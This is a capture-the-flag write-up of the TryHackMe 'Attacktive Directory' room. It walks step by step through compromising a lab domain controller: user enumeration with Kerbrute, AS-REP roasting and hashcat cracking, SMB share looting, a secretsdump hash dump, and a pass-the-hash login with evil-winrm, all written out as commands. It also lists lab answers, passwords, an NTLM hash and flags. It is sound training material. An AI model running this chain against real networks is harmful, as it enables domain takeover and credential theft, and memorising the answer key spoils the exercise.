Vulnerability Assessment and Exploitation Write-Up

Machine: Attacktive Directory – TryHackMe

Prepared by: Melisa Sarıtaş

Table of Contents

1. Introduction

A domain is a network of computers, users, and resources that are managed under a centralized system. The domain controller (DC), running on Windows Server, manages this network by using Active Directory (AD) to handle user authentication, security policies, and access control.

The machine used to solve the target machine[1] is Kali Linux[2] as it has most of the necessary tools and the target machine is a domain controller running Windows Server. Before starting the solution, there are steps to be done to set up the environment which will be explained in the following paragraphs.

To start with, open Task 1 from the page and click the "Start Machine" button located in the upper right corner. Then, it is needed to connect to the network where the machine is located via VPN. First, open the page from the link[3] that provides configuration files and download the necessary file. Transfer the .ovpn file to the Kali Linux machine and run Command 1.

sudo openvpn --config <filename>.ovpn

Command 1

Note: Since the file runs over the UDP protocol, you may encounter messages that appear to be errors which can be safely ignored. Do not interrupt the process, as it needs to run continuously in order to maintain network connectivity.

Check whether the machine is connected to the network or not by running Command 2:

ping <ip-address-of-the-target-machine>

Command 2

Next step is installing some necessary packages. Run Command 3, which contains several lines.

git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/ && python3 ./setup.py install
sudo apt install bloodhound neo4j

Command 3

Note: If the packages are not available in the repository, try to update: *sudo apt update*

2. Solution Overview

The solution consists of five steps: reconnaissance, user enumeration, Kerberos abuse, folder discovery, and privilege escalation. Each of these steps will be explained in detail in the following sections.

2.1. Reconnaissance

Start with nmap host discovery and service scanning by running Command 4.

nmap -n -T4 -sCV <target-ip>

Command 4

The command will output the open ports, the services running on these ports and the version of these services. From the output, it can be seen that the ports 139 and 445 are open which are used by SMB protocol. It is going to be enumerated these ports by using Command 5.

enum4linux -U <target-ip>

Command 5

The output will provide a general information about the machine.

Questions:

Q1) What tool will allow us to enumerate port 139/445?

A: enum4linux

Q2) What is the NetBIOS-Domain Name of the machine?

A: THM-AD (it is at the output of Command 5)

Q3) What invalid TLD do people commonly use for their Active Directory domain?

A: .local

Given Hints:

- The full AD domain is spookysec.local

2.2. Enumerating Users

From the output of Command 4, it is observed that port 88 is open which is the port of Kerberos. Kerberos is a centralized authentication protocol that uses a Key Distribution Center to authenticate users and services. It will be used a tool called Kerbrute[4] to

obtain valid domain users. Install kerbrute by running Command 6.

sudo curl -L -o kerbrute https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64

chmod +x kerbrute

Command 6

Obtain the user list provided, which will be used for brute-forcing, by running Command 7.

sudo curl -L -o userlist.txt https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt

Command 7

Run Command 8 to get the valid domain users.

./kerbrute userenum -d spookysec.local --dc <target-ip> userlist.txt -o result.txt

Command 8

Questions:

Q1) What command within Kerbrute will allow us to enumerate valid usernames?

A: userenum

Q2) What notable account is discovered? (These should jump out at you)

A: svc-admin

Q3) What is the other notable account is discovered? (These should jump out at you)

A: backup

2.3. Abusing Kerberos

The user list is obtained by running Command 8. Next, the user accounts will be checked for the "Does not require Pre-Authentication" setting. This setting will be exploited using the ASREPRoasting attack method. There is a tool called GetNPUsers inside of impacket that allows querying ASREPRoastable accounts from Key Distribution Center. First, copy the output of Command 9 and paste it into one file by running Command 10.

cat result.txt | awk -F '' '{print $7}'

Command 9

vim users.txt

Command 10

Query the ASREPRoastable accounts by running Command 11.

impacket-GetNPUsers -dc-ip <target-ip> -usersfile users.txt spookysec.local/

Command 11

The output reveals that the svc-admin does not require pre-authentication and displays the hash of its password. Save the hash into a file by running Command 12, then obtain the provided password list using Command 13, and finally crack the password with Command 14.

vim thehash.txt

Command 12

sudo curl -L -o passwordlist.txt https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt

Command 13

hashcat -m 18200 -a 0 thehash.txt passwordlist.txt

Command 14

Questions:

Q1) We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?

A: svc-admin

Q2) Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)

A: Kerberos 5 AS-REP etype 23

Q3) What mode is the hash?

A: 18200

Q4) Now crack the hash with the modified password list provided, what is the user accounts password?

A: management2005

2.4. Discovering Shares

The password is being cracked by running Command 14. Next, the SMB shares will be enumerated to identify which shares the user has access to. First, run Command 15 to list the shares.

smbclient -L <target-ip> -U spookysec.local/svc-admin%management2005

Command 15

Run Command 16 to get the shares that the user has access.

smbmap -u svc-admin -p management2005 -d . -H <target-ip>

Command 16

From the output, it is observed that it has access to the share called backup. By running Command 17, get the files under the share.

cd ~/Desktop && smbclient //<target-ip>/backup -U svc-admin
mget backup_credentials.txt

Command 17

Decode the content of the file by running Command 18.

base64 -d backup_credentials.txt

Command 18

Questions:

Q1) What utility can we use to map remote SMB shares?

A: smbclient

Q2) Which option will list shares?

A: -L

Q3) How many remote shares is the server listing?

A: 6

Q4) There is one particular share that we have access to that contains a text file. Which share is it?

A: backup

Q5) What is the content of the file?

A: YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw

Q6) Decoding the contents of the file, what is the full contents?

A: backup@spookysec.local:backup2517860

2.5. Privilege Escalation

From the output of Command 18, it is gotten the password for the backup user. This user has a unique permission where all Active Directory changes, including password hashes, are synced with this account. Impacket includes a tool called secretsdump that allows dumping all password hashes. First, run Command 19 to retrieve the password hashes. Then, use Command 20 to authenticate as the Administrator without needing the actual password, using a technique known as Pass the Hash.

impacket-secretsdump -just-dc spookysec.local/backup:backup2517860@<target-ip>

Command 19

evil-winrm -i <target-ip> -u administrator -H <hash>

Command 20

Get the flags for each user by running Command 21.

cd C:\Users\<user>\Desktop

cat <filename>.txt

Command 21

Questions:

Q1) What method allowed us to dump NTDS.DIT?

A: DRSUAPI (it is at the output of Command 19)

Q2) What is the Administrators NTLM hash?

A: 0e0363213e37b94221497260b0bcb4fc

Q3) What method of attack could allow us to authenticate as the user without the password?

A: Pass The Hash

Q4) Using a tool called Evil-WinRM what option will allow us to use a hash?

A: -H

Flags:

- svc-admin: TryHackMe{K3rb3r0s_Pr3_4uth}
- backup: TryHackMe{B4ckM3UpSc0tty!}
- Administrator: TryHackMe{4ctiveD1rectoryM4st3r}

3. References

[1] https://tryhackme.com/room/attacktivedirectory
[2] https://www.kali.org/
[3] https://tryhackme.com/access
[4] https://github.com/ropnop/kerbrute